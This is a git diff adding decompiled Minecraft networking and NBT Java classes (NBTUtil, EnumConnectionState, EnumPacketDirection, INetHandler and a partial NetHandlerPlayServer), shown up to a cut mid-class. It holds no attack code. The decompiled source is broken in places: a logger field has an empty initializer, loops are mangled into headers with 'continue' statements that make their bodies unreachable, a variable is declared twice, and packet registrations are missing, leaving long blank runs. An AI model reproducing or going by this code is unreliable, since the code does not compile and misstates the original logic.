index 0000000..366ddd7
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTUtil.java
@@ -0,0 +1,142 @@
+package net.minecraft.nbt;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.properties.Property;
+import com.mojang.authlib.properties.PropertyMap;
+import java.util.Iterator;
+import java.util.UUID;
+import net.minecraft.util.StringUtils;
+
+public final class NBTUtil
+{
+  private static final String __OBFID = "CL_00001901";
+  
+  public NBTUtil() {}
+  
+  public static GameProfile readGameProfileFromNBT(NBTTagCompound compound)
+  {
+    String var1 = null;
+    String var2 = null;
+    
+    if (compound.hasKey("Name", 8))
+    {
+      var1 = compound.getString("Name");
+    }
+    
+    if (compound.hasKey("Id", 8))
+    {
+      var2 = compound.getString("Id");
+    }
+    
+    if ((StringUtils.isNullOrEmpty(var1)) && (StringUtils.isNullOrEmpty(var2)))
+    {
+      return null;
+    }
+    
+
+    UUID var3;
+    
+    try
+    {
+      var3 = UUID.fromString(var2);
+    }
+    catch (Throwable var12) {
+      UUID var3;
+      var3 = null;
+    }
+    
+    GameProfile var4 = new GameProfile(var3, var1);
+    
+    if (compound.hasKey("Properties", 10))
+    {
+      NBTTagCompound var5 = compound.getCompoundTag("Properties");
+      Iterator var6 = var5.getKeySet().iterator();
+      NBTTagList var8;
+      int var9; for (; var6.hasNext(); 
+          
+
+
+
+          var9 < var8.tagCount())
+      {
+        String var7 = (String)var6.next();
+        var8 = var5.getTagList(var7, 10);
+        
+        var9 = 0; continue;
+        
+        NBTTagCompound var10 = var8.getCompoundTagAt(var9);
+        String var11 = var10.getString("Value");
+        
+        if (var10.hasKey("Signature", 8))
+        {
+          var4.getProperties().put(var7, new Property(var7, var11, var10.getString("Signature")));
+        }
+        else
+        {
+          var4.getProperties().put(var7, new Property(var7, var11));
+        }
+        var9++;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    return var4;
+  }
+  
+
+  public static NBTTagCompound writeGameProfile(NBTTagCompound p_180708_0_, GameProfile p_180708_1_)
+  {
+    if (!StringUtils.isNullOrEmpty(p_180708_1_.getName()))
+    {
+      p_180708_0_.setString("Name", p_180708_1_.getName());
+    }
+    
+    if (p_180708_1_.getId() != null)
+    {
+      p_180708_0_.setString("Id", p_180708_1_.getId().toString());
+    }
+    
+    if (!p_180708_1_.getProperties().isEmpty())
+    {
+      NBTTagCompound var2 = new NBTTagCompound();
+      Iterator var3 = p_180708_1_.getProperties().keySet().iterator();
+      
+      while (var3.hasNext())
+      {
+        String var4 = (String)var3.next();
+        NBTTagList var5 = new NBTTagList();
+        
+        NBTTagCompound var8;
+        for (Iterator var6 = p_180708_1_.getProperties().get(var4).iterator(); var6.hasNext(); var5.appendTag(var8))
+        {
+          Property var7 = (Property)var6.next();
+          var8 = new NBTTagCompound();
+          var8.setString("Value", var7.getValue());
+          
+          if (var7.hasSignature())
+          {
+            var8.setString("Signature", var7.getSignature());
+          }
+        }
+        
+        var2.setTag(var4, var5);
+      }
+      
+      p_180708_0_.setTag("Properties", var2);
+    }
+    
+    return p_180708_0_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/EnumConnectionState.java b/src/minecraft/net/minecraft/network/EnumConnectionState.java
new file mode 100644
index 0000000..27d1f1e
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/EnumConnectionState.java
@@ -0,0 +1,431 @@
+package net.minecraft.network;
+
+import com.google.common.collect.BiMap;
+import com.google.common.collect.HashBiMap;
+import com.google.common.collect.Maps;
+import gnu.trove.map.TIntObjectMap;
+import gnu.trove.map.hash.TIntObjectHashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.network.login.client.C00PacketLoginStart;
+import net.minecraft.network.login.client.C01PacketEncryptionResponse;
+import net.minecraft.network.login.server.S00PacketDisconnect;
+import net.minecraft.network.login.server.S01PacketEncryptionRequest;
+import net.minecraft.network.login.server.S02PacketLoginSuccess;
+import net.minecraft.network.login.server.S03PacketEnableCompression;
+import net.minecraft.network.play.client.C00PacketKeepAlive;
+import net.minecraft.network.play.client.C01PacketChatMessage;
+import net.minecraft.network.play.client.C02PacketUseEntity;
+import net.minecraft.network.play.client.C03PacketPlayer;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.network.play.client.C03PacketPlayer.C05PacketPlayerLook;
+import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
+import net.minecraft.network.play.client.C09PacketHeldItemChange;
+import net.minecraft.network.play.client.C0APacketAnimation;
+import net.minecraft.network.play.client.C0BPacketEntityAction;
+import net.minecraft.network.play.client.C0CPacketInput;
+import net.minecraft.network.play.client.C0DPacketCloseWindow;
+import net.minecraft.network.play.client.C0EPacketClickWindow;
+import net.minecraft.network.play.client.C0FPacketConfirmTransaction;
+import net.minecraft.network.play.client.C10PacketCreativeInventoryAction;
+import net.minecraft.network.play.client.C11PacketEnchantItem;
+import net.minecraft.network.play.client.C12PacketUpdateSign;
+import net.minecraft.network.play.client.C13PacketPlayerAbilities;
+import net.minecraft.network.play.client.C14PacketTabComplete;
+import net.minecraft.network.play.client.C15PacketClientSettings;
+import net.minecraft.network.play.client.C16PacketClientStatus;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.network.play.client.C18PacketSpectate;
+import net.minecraft.network.play.client.C19PacketResourcePackStatus;
+import net.minecraft.network.play.server.S00PacketKeepAlive;
+import net.minecraft.network.play.server.S01PacketJoinGame;
+import net.minecraft.network.play.server.S02PacketChat;
+import net.minecraft.network.play.server.S03PacketTimeUpdate;
+import net.minecraft.network.play.server.S04PacketEntityEquipment;
+import net.minecraft.network.play.server.S05PacketSpawnPosition;
+import net.minecraft.network.play.server.S06PacketUpdateHealth;
+import net.minecraft.network.play.server.S07PacketRespawn;
+import net.minecraft.network.play.server.S08PacketPlayerPosLook;
+import net.minecraft.network.play.server.S09PacketHeldItemChange;
+import net.minecraft.network.play.server.S0APacketUseBed;
+import net.minecraft.network.play.server.S0BPacketAnimation;
+import net.minecraft.network.play.server.S0CPacketSpawnPlayer;
+import net.minecraft.network.play.server.S0DPacketCollectItem;
+import net.minecraft.network.play.server.S0FPacketSpawnMob;
+import net.minecraft.network.play.server.S10PacketSpawnPainting;
+import net.minecraft.network.play.server.S11PacketSpawnExperienceOrb;
+import net.minecraft.network.play.server.S12PacketEntityVelocity;
+import net.minecraft.network.play.server.S13PacketDestroyEntities;
+import net.minecraft.network.play.server.S14PacketEntity;
+import net.minecraft.network.play.server.S14PacketEntity.S16PacketEntityLook;
+import net.minecraft.network.play.server.S14PacketEntity.S17PacketEntityLookMove;
+import net.minecraft.network.play.server.S18PacketEntityTeleport;
+import net.minecraft.network.play.server.S19PacketEntityHeadLook;
+import net.minecraft.network.play.server.S1BPacketEntityAttach;
+import net.minecraft.network.play.server.S1CPacketEntityMetadata;
+import net.minecraft.network.play.server.S1DPacketEntityEffect;
+import net.minecraft.network.play.server.S1EPacketRemoveEntityEffect;
+import net.minecraft.network.play.server.S1FPacketSetExperience;
+import net.minecraft.network.play.server.S20PacketEntityProperties;
+import net.minecraft.network.play.server.S21PacketChunkData;
+import net.minecraft.network.play.server.S22PacketMultiBlockChange;
+import net.minecraft.network.play.server.S23PacketBlockChange;
+import net.minecraft.network.play.server.S24PacketBlockAction;
+import net.minecraft.network.play.server.S25PacketBlockBreakAnim;
+import net.minecraft.network.play.server.S26PacketMapChunkBulk;
+import net.minecraft.network.play.server.S27PacketExplosion;
+import net.minecraft.network.play.server.S28PacketEffect;
+import net.minecraft.network.play.server.S29PacketSoundEffect;
+import net.minecraft.network.play.server.S2APacketParticles;
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.network.play.server.S2CPacketSpawnGlobalEntity;
+import net.minecraft.network.play.server.S2DPacketOpenWindow;
+import net.minecraft.network.play.server.S2EPacketCloseWindow;
+import net.minecraft.network.play.server.S2FPacketSetSlot;
+import net.minecraft.network.play.server.S30PacketWindowItems;
+import net.minecraft.network.play.server.S32PacketConfirmTransaction;
+import net.minecraft.network.play.server.S33PacketUpdateSign;
+import net.minecraft.network.play.server.S34PacketMaps;
+import net.minecraft.network.play.server.S35PacketUpdateTileEntity;
+import net.minecraft.network.play.server.S36PacketSignEditorOpen;
+import net.minecraft.network.play.server.S37PacketStatistics;
+import net.minecraft.network.play.server.S39PacketPlayerAbilities;
+import net.minecraft.network.play.server.S3APacketTabComplete;
+import net.minecraft.network.play.server.S3BPacketScoreboardObjective;
+import net.minecraft.network.play.server.S3DPacketDisplayScoreboard;
+import net.minecraft.network.play.server.S3EPacketTeams;
+import net.minecraft.network.play.server.S3FPacketCustomPayload;
+import net.minecraft.network.play.server.S40PacketDisconnect;
+import net.minecraft.network.play.server.S41PacketServerDifficulty;
+import net.minecraft.network.play.server.S42PacketCombatEvent;
+import net.minecraft.network.play.server.S44PacketWorldBorder;
+import net.minecraft.network.play.server.S45PacketTitle;
+import net.minecraft.network.play.server.S46PacketSetCompressionLevel;
+import net.minecraft.network.play.server.S47PacketPlayerListHeaderFooter;
+import net.minecraft.network.play.server.S48PacketResourcePackSend;
+import net.minecraft.network.play.server.S49PacketUpdateEntityNBT;
+import net.minecraft.network.status.client.C00PacketServerQuery;
+import net.minecraft.network.status.client.C01PacketPing;
+import net.minecraft.network.status.server.S00PacketServerInfo;
+import net.minecraft.network.status.server.S01PacketPong;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public enum EnumConnectionState
+{
+  HANDSHAKING("HANDSHAKING", 0, -1, null), 
+  
+
+
+
+
+
+  PLAY("PLAY", 1, 0, null), 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  STATUS("STATUS", 2, 1, null), 
+  
+
+
+
+
+
+
+
+
+  LOGIN("LOGIN", 3, 2, null);
+  
+
+
+  private static final TIntObjectMap STATES_BY_ID;
+  
+
+  private static final Map STATES_BY_CLASS;
+  
+
+  private final int id;
+  
+
+  private final Map directionMaps;
+  
+  private static final EnumConnectionState[] $VALUES;
+  
+  private static final String __OBFID = "CL_00001245";
+  
+
+  private EnumConnectionState(String p_i45152_1_, int p_i45152_2_, int protocolId)
+  {
+    directionMaps = Maps.newEnumMap(EnumPacketDirection.class);
+    id = protocolId;
+  }
+  
+  protected EnumConnectionState registerPacket(EnumPacketDirection direction, Class packetClass)
+  {
+    Object var3 = (BiMap)directionMaps.get(direction);
+    
+    if (var3 == null)
+    {
+      var3 = HashBiMap.create();
+      directionMaps.put(direction, var3);
+    }
+    
+    if (((BiMap)var3).containsValue(packetClass))
+    {
+      String var4 = direction + " packet " + packetClass + " is already known to ID " + ((BiMap)var3).inverse().get(packetClass);
+      LogManager.getLogger().fatal(var4);
+      throw new IllegalArgumentException(var4);
+    }
+    
+
+    ((BiMap)var3).put(Integer.valueOf(((BiMap)var3).size()), packetClass);
+    return this;
+  }
+  
+
+  public Integer getPacketId(EnumPacketDirection direction, Packet packetIn)
+  {
+    return (Integer)((BiMap)directionMaps.get(direction)).inverse().get(packetIn.getClass());
+  }
+  
+  public Packet getPacket(EnumPacketDirection direction, int packetId) throws InstantiationException, IllegalAccessException {
+    Class var3 = (Class)((BiMap)directionMaps.get(direction)).get(Integer.valueOf(packetId));
+    return var3 == null ? null : (Packet)var3.newInstance();
+  }
+  
+  public int getId()
+  {
+    return id;
+  }
+  
+  public static EnumConnectionState getById(int stateId)
+  {
+    return (EnumConnectionState)STATES_BY_ID.get(stateId);
+  }
+  
+  public static EnumConnectionState getFromPacket(Packet packetIn)
+  {
+    return (EnumConnectionState)STATES_BY_CLASS.get(packetIn.getClass());
+  }
+  
+  private EnumConnectionState(String p_i46000_1_, int p_i46000_2_, int p_i46000_3_, Object p_i46000_4_)
+  {
+    this(p_i46000_1_, p_i46000_2_, p_i46000_3_);
+  }
+  
+  static
+  {
+    STATES_BY_ID = new TIntObjectHashMap();
+    STATES_BY_CLASS = Maps.newHashMap();
+    
+
+
+    $VALUES = new EnumConnectionState[] { HANDSHAKING, PLAY, STATUS, LOGIN };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    EnumConnectionState[] var0 = values();
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      EnumConnectionState var3 = var0[var2];
+      STATES_BY_ID.put(var3.getId(), var3);
+      Iterator var4 = directionMaps.keySet().iterator();
+      Iterator var6;
+      for (; var4.hasNext(); 
+          
+
+
+
+          var6.hasNext())
+      {
+        EnumPacketDirection var5 = (EnumPacketDirection)var4.next();
+        
+
+        var6 = ((BiMap)directionMaps.get(var5)).values().iterator(); continue;
+        
+        Class var7 = (Class)var6.next();
+        
+        if ((STATES_BY_CLASS.containsKey(var7)) && (STATES_BY_CLASS.get(var7) != var3))
+        {
+          throw new Error("Packet " + var7 + " is already assigned to protocol " + STATES_BY_CLASS.get(var7) + " - can't reassign to " + var3);
+        }
+        
+        try
+        {
+          var7.newInstance();
+        }
+        catch (Throwable var9)
+        {
+          throw new Error("Packet " + var7 + " fails instantiation checks! " + var7);
+        }
+        STATES_BY_CLASS.put(var7, var3);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/EnumPacketDirection.java b/src/minecraft/net/minecraft/network/EnumPacketDirection.java
new file mode 100644
index 0000000..03d3d88
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/EnumPacketDirection.java
@@ -0,0 +1,12 @@
+package net.minecraft.network;
+
+public enum EnumPacketDirection
+{
+  SERVERBOUND("SERVERBOUND", 0), 
+  CLIENTBOUND("CLIENTBOUND", 1);
+  
+  private static final EnumPacketDirection[] $VALUES = { SERVERBOUND, CLIENTBOUND };
+  private static final String __OBFID = "CL_00002307";
+  
+  private EnumPacketDirection(String p_i45995_1_, int p_i45995_2_) {}
+}
diff --git a/src/minecraft/net/minecraft/network/INetHandler.java b/src/minecraft/net/minecraft/network/INetHandler.java
new file mode 100644
index 0000000..07a0ddf
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/INetHandler.java
@@ -0,0 +1,8 @@
+package net.minecraft.network;
+
+import net.minecraft.util.IChatComponent;
+
+public abstract interface INetHandler
+{
+  public abstract void onDisconnect(IChatComponent paramIChatComponent);
+}
diff --git a/src/minecraft/net/minecraft/network/NetHandlerPlayServer.java b/src/minecraft/net/minecraft/network/NetHandlerPlayServer.java
new file mode 100644
index 0000000..f04f50b
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/NetHandlerPlayServer.java
@@ -0,0 +1,1622 @@
+package net.minecraft.network;
+
+import com.google.common.collect.Lists;
+import io.netty.buffer.Unpooled;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityMinecartCommandBlock;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.player.EntityPlayer.EnumChatVisibility;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerBeacon;
+import net.minecraft.inventory.ContainerMerchant;
+import net.minecraft.inventory.ContainerRepair;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.Slot;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemWritableBook;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagString;
+import net.minecraft.network.play.INetHandlerPlayServer;
+import net.minecraft.network.play.client.C00PacketKeepAlive;
+import net.minecraft.network.play.client.C01PacketChatMessage;
+import net.minecraft.network.play.client.C02PacketUseEntity;
+import net.minecraft.network.play.client.C02PacketUseEntity.Action;
+import net.minecraft.network.play.client.C03PacketPlayer;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C07PacketPlayerDigging.Action;
+import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
+import net.minecraft.network.play.client.C09PacketHeldItemChange;
+import net.minecraft.network.play.client.C0APacketAnimation;
+import net.minecraft.network.play.client.C0BPacketEntityAction;
+import net.minecraft.network.play.client.C0CPacketInput;
+import net.minecraft.network.play.client.C0DPacketCloseWindow;
+import net.minecraft.network.play.client.C0EPacketClickWindow;
+import net.minecraft.network.play.client.C0FPacketConfirmTransaction;
+import net.minecraft.network.play.client.C10PacketCreativeInventoryAction;
+import net.minecraft.network.play.client.C11PacketEnchantItem;
+import net.minecraft.network.play.client.C12PacketUpdateSign;
+import net.minecraft.network.play.client.C13PacketPlayerAbilities;
+import net.minecraft.network.play.client.C14PacketTabComplete;
+import net.minecraft.network.play.client.C15PacketClientSettings;
+import net.minecraft.network.play.client.C16PacketClientStatus;
+import net.minecraft.network.play.client.C16PacketClientStatus.EnumState;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.network.play.client.C18PacketSpectate;
+import net.minecraft.network.play.client.C19PacketResourcePackStatus;
+import net.minecraft.network.play.server.S02PacketChat;
+import net.minecraft.network.play.server.S08PacketPlayerPosLook.EnumFlags;
+import net.minecraft.network.play.server.S23PacketBlockChange;
+import net.minecraft.network.play.server.S2FPacketSetSlot;
+import net.minecraft.network.play.server.S32PacketConfirmTransaction;
+import net.minecraft.network.play.server.S40PacketDisconnect;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ItemInWorldManager;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.server.management.UserListBans;
+import net.minecraft.server.management.UserListBansEntry;
+import net.minecraft.stats.StatisticsFile;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityCommandBlock;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatAllowedCharacters;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IntHashMap;
+import net.minecraft.util.ReportedException;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class NetHandlerPlayServer implements INetHandlerPlayServer, net.minecraft.server.gui.IUpdatePlayerListBox
+{
+  private static final Logger logger = ;
+  
+  public final NetworkManager netManager;
+  
+  private final MinecraftServer serverController;
+  
+  public EntityPlayerMP playerEntity;
+  
+  private int networkTickCount;
+  
+  private int field_175090_f;
+  
+  private int floatingTickCount;
+  
+  private boolean field_147366_g;
+  
+  private int field_147378_h;
+  
+  private long lastPingTime;
+  
+  private long lastSentPingPacket;
+  private int chatSpamThresholdCount;
+  private int itemDropThreshold;
+  private IntHashMap field_147372_n = new IntHashMap();
+  private double lastPosX;
+  private double lastPosY;
+  private double lastPosZ;
+  private boolean hasMoved = true;
+  private static final String __OBFID = "CL_00001452";
+  
+  public NetHandlerPlayServer(MinecraftServer server, NetworkManager networkManagerIn, EntityPlayerMP playerIn)
+  {
+    serverController = server;
+    netManager = networkManagerIn;
+    networkManagerIn.setNetHandler(this);
+    playerEntity = playerIn;
+    playerNetServerHandler = this;
+  }
+  
+
+
+
+  public void update()
+  {
+    field_147366_g = false;
+    networkTickCount += 1;
+    serverController.theProfiler.startSection("keepAlive");
+    
+    if (networkTickCount - lastSentPingPacket > 40L)
+    {
+      lastSentPingPacket = networkTickCount;
+      lastPingTime = currentTimeMillis();
+      field_147378_h = ((int)lastPingTime);
+      sendPacket(new net.minecraft.network.play.server.S00PacketKeepAlive(field_147378_h));
+    }
+    
+    serverController.theProfiler.endSection();
+    
+    if (chatSpamThresholdCount > 0)
+    {
+      chatSpamThresholdCount -= 1;
+    }
+    
+    if (itemDropThreshold > 0)
+    {
+      itemDropThreshold -= 1;
+    }
+    
+    if ((playerEntity.getLastActiveTime() > 0L) && (serverController.getMaxPlayerIdleMinutes() > 0) && (MinecraftServer.getCurrentTimeMillis() - playerEntity.getLastActiveTime() > serverController.getMaxPlayerIdleMinutes() * 1000 * 60))
+    {
+      kickPlayerFromServer("You have been idle for too long!");
+    }
+  }
+  
+  public NetworkManager getNetworkManager()
+  {
+    return netManager;
+  }
+  
+
+
+
+  public void kickPlayerFromServer(String reason)
+  {
+    final ChatComponentText var2 = new ChatComponentText(reason);
+    netManager.sendPacket(new S40PacketDisconnect(var2), new GenericFutureListener()
+    {
+      private static final String __OBFID = "CL_00001453";
+      
+      public void operationComplete(Future p_operationComplete_1_) {
+        netManager.closeChannel(var2);
+      }
+    }, new GenericFutureListener[0]);
+    netManager.disableAutoRead();
+    com.google.common.util.concurrent.Futures.getUnchecked(serverController.addScheduledTask(new Runnable()
+    {
+      private static final String __OBFID = "CL_00001454";
+      
+      public void run() {
+        netManager.checkDisconnected();
+      }
+    }));
+  }
+  
+
+
+
+
+  public void processInput(C0CPacketInput packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.setEntityActionState(packetIn.getStrafeSpeed(), packetIn.getForwardSpeed(), packetIn.isJumping(), packetIn.isSneaking());
+  }
+  
+
+
+
+  public void processPlayer(C03PacketPlayer packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    WorldServer var2 = serverController.worldServerForDimension(playerEntity.dimension);
+    field_147366_g = true;
+    
+    if (!playerEntity.playerConqueredTheEnd)
+    {
+      double var3 = playerEntity.posX;
+      double var5 = playerEntity.posY;
+      double var7 = playerEntity.posZ;
+      double var9 = 0.0D;
+      double var11 = packetIn.getPositionX() - lastPosX;
+      double var13 = packetIn.getPositionY() - lastPosY;
+      double var15 = packetIn.getPositionZ() - lastPosZ;
+      
+      if (packetIn.func_149466_j())
+      {
+        var9 = var11 * var11 + var13 * var13 + var15 * var15;
+        
+        if ((!hasMoved) && (var9 < 0.25D))
+        {
+          hasMoved = true;
+        }
+      }
+      
+      if (hasMoved)
+      {
+        field_175090_f = networkTickCount;
+        
+
+
+
+        if (playerEntity.ridingEntity != null)
+        {
+          float var47 = playerEntity.rotationYaw;
+          float var18 = playerEntity.rotationPitch;
+          playerEntity.ridingEntity.updateRiderPosition();
+          double var19 = playerEntity.posX;
+          double var21 = playerEntity.posY;
+          double var23 = playerEntity.posZ;
+          
+          if (packetIn.getRotating())
+          {
+            var47 = packetIn.getYaw();
+            var18 = packetIn.getPitch();
+          }
+          
+          playerEntity.onGround = packetIn.func_149465_i();
+          playerEntity.onUpdateEntity();
+          playerEntity.setPositionAndRotation(var19, var21, var23, var47, var18);
+          
+          if (playerEntity.ridingEntity != null)
+          {
+            playerEntity.ridingEntity.updateRiderPosition();
+          }
+          
+          serverController.getConfigurationManager().serverUpdateMountedMovingPlayer(playerEntity);
+          
+          if (playerEntity.ridingEntity != null)
+          {
+            if (var9 > 4.0D)
+            {
+              Entity var48 = playerEntity.ridingEntity;
+              playerEntity.playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S18PacketEntityTeleport(var48));
+              setPlayerLocation(playerEntity.posX, playerEntity.posY, playerEntity.posZ, playerEntity.rotationYaw, playerEntity.rotationPitch);
+            }
+            
+            playerEntity.ridingEntity.isAirBorne = true;
+          }
+          
+          if (hasMoved)
+          {
+            lastPosX = playerEntity.posX;
+            lastPosY = playerEntity.posY;
+            lastPosZ = playerEntity.posZ;
+          }
+          
+          var2.updateEntity(playerEntity);
+          return;
+        }
+        
+        if (playerEntity.isPlayerSleeping())
+        {
+          playerEntity.onUpdateEntity();
+          playerEntity.setPositionAndRotation(lastPosX, lastPosY, lastPosZ, playerEntity.rotationYaw, playerEntity.rotationPitch);
+          var2.updateEntity(playerEntity);
+          return;
+        }
+        
+        double var17 = playerEntity.posY;
+        lastPosX = playerEntity.posX;
+        lastPosY = playerEntity.posY;
+        lastPosZ = playerEntity.posZ;
+        double var19 = playerEntity.posX;
+        double var21 = playerEntity.posY;
+        double var23 = playerEntity.posZ;
+        float var25 = playerEntity.rotationYaw;
+        float var26 = playerEntity.rotationPitch;
+        
+        if ((packetIn.func_149466_j()) && (packetIn.getPositionY() == -999.0D))
+        {
+          packetIn.func_149469_a(false);
+        }
+        
+        if (packetIn.func_149466_j())
+        {
+          var19 = packetIn.getPositionX();
+          var21 = packetIn.getPositionY();
+          var23 = packetIn.getPositionZ();
+          
+          if ((Math.abs(packetIn.getPositionX()) > 3.0E7D) || (Math.abs(packetIn.getPositionZ()) > 3.0E7D))
+          {
+            kickPlayerFromServer("Illegal position");
+            return;
+          }
+        }
+        
+        if (packetIn.getRotating())
+        {
+          var25 = packetIn.getYaw();
+          var26 = packetIn.getPitch();
+        }
+        
+        playerEntity.onUpdateEntity();
+        playerEntity.setPositionAndRotation(lastPosX, lastPosY, lastPosZ, var25, var26);
+        
+        if (!hasMoved)
+        {
+          return;
+        }
+        
+        double var27 = var19 - playerEntity.posX;
+        double var29 = var21 - playerEntity.posY;
+        double var31 = var23 - playerEntity.posZ;
+        double var33 = Math.min(Math.abs(var27), Math.abs(playerEntity.motionX));
+        double var35 = Math.min(Math.abs(var29), Math.abs(playerEntity.motionY));
+        double var37 = Math.min(Math.abs(var31), Math.abs(playerEntity.motionZ));
+        double var39 = var33 * var33 + var35 * var35 + var37 * var37;
+        
+        if ((var39 > 100.0D) && ((!serverController.isSinglePlayer()) || (!serverController.getServerOwner().equals(playerEntity.getName()))))
+        {
+          logger.warn(playerEntity.getName() + " moved too quickly! " + var27 + "," + var29 + "," + var31 + " (" + var33 + ", " + var35 + ", " + var37 + ")");
+          setPlayerLocation(lastPosX, lastPosY, lastPosZ, playerEntity.rotationYaw, playerEntity.rotationPitch);
+          return;
+        }
+        
+        float var41 = 0.0625F;
+        boolean var42 = var2.getCollidingBoundingBoxes(playerEntity, playerEntity.getEntityBoundingBox().contract(var41, var41, var41)).isEmpty();
+        
+        if ((playerEntity.onGround) && (!packetIn.func_149465_i()) && (var29 > 0.0D))
+        {
+          playerEntity.jump();
+        }
+        
+        playerEntity.moveEntity(var27, var29, var31);
+        playerEntity.onGround = packetIn.func_149465_i();
+        double var43 = var29;
+        var27 = var19 - playerEntity.posX;
+        var29 = var21 - playerEntity.posY;
+        
+        if ((var29 > -0.5D) || (var29 < 0.5D))
+        {
+          var29 = 0.0D;
+        }
+        
+        var31 = var23 - playerEntity.posZ;
+        var39 = var27 * var27 + var29 * var29 + var31 * var31;
+        boolean var45 = false;
+        
+        if ((var39 > 0.0625D) && (!playerEntity.isPlayerSleeping()) && (!playerEntity.theItemInWorldManager.isCreative()))
+        {
+          var45 = true;
+          logger.warn(playerEntity.getName() + " moved wrongly!");
+        }
+        
+        playerEntity.setPositionAndRotation(var19, var21, var23, var25, var26);
+        playerEntity.addMovementStat(playerEntity.posX - var3, playerEntity.posY - var5, playerEntity.posZ - var7);
+        
+        if (!playerEntity.noClip)
+        {
+          boolean var46 = var2.getCollidingBoundingBoxes(playerEntity, playerEntity.getEntityBoundingBox().contract(var41, var41, var41)).isEmpty();
+          
+          if ((var42) && ((var45) || (!var46)) && (!playerEntity.isPlayerSleeping()))
+          {
+            setPlayerLocation(lastPosX, lastPosY, lastPosZ, var25, var26);
+            return;
+          }
+        }
+        
+        AxisAlignedBB var49 = playerEntity.getEntityBoundingBox().expand(var41, var41, var41).addCoord(0.0D, -0.55D, 0.0D);
+        
+        if ((!serverController.isFlightAllowed()) && (!playerEntity.capabilities.allowFlying) && (!var2.checkBlockCollision(var49)))
+        {
+          if (var43 >= -0.03125D)
+          {
+            floatingTickCount += 1;
+            
+            if (floatingTickCount > 80)
+            {
+              logger.warn(playerEntity.getName() + " was kicked for floating too long!");
+              kickPlayerFromServer("Flying is not enabled on this server");
+            }
+            
+          }
+          
+        }
+        else {
+          floatingTickCount = 0;
+        }
+        
+        playerEntity.onGround = packetIn.func_149465_i();
+        serverController.getConfigurationManager().serverUpdateMountedMovingPlayer(playerEntity);
+        playerEntity.handleFalling(playerEntity.posY - var17, packetIn.func_149465_i());
+      }
+      else if (networkTickCount - field_175090_f > 20)
+      {
+        setPlayerLocation(lastPosX, lastPosY, lastPosZ, playerEntity.rotationYaw, playerEntity.rotationPitch);
+      }
+    }
+  }
+  
+  public void setPlayerLocation(double x, double y, double z, float yaw, float pitch)
+  {
+    func_175089_a(x, y, z, yaw, pitch, java.util.Collections.emptySet());
+  }
+  
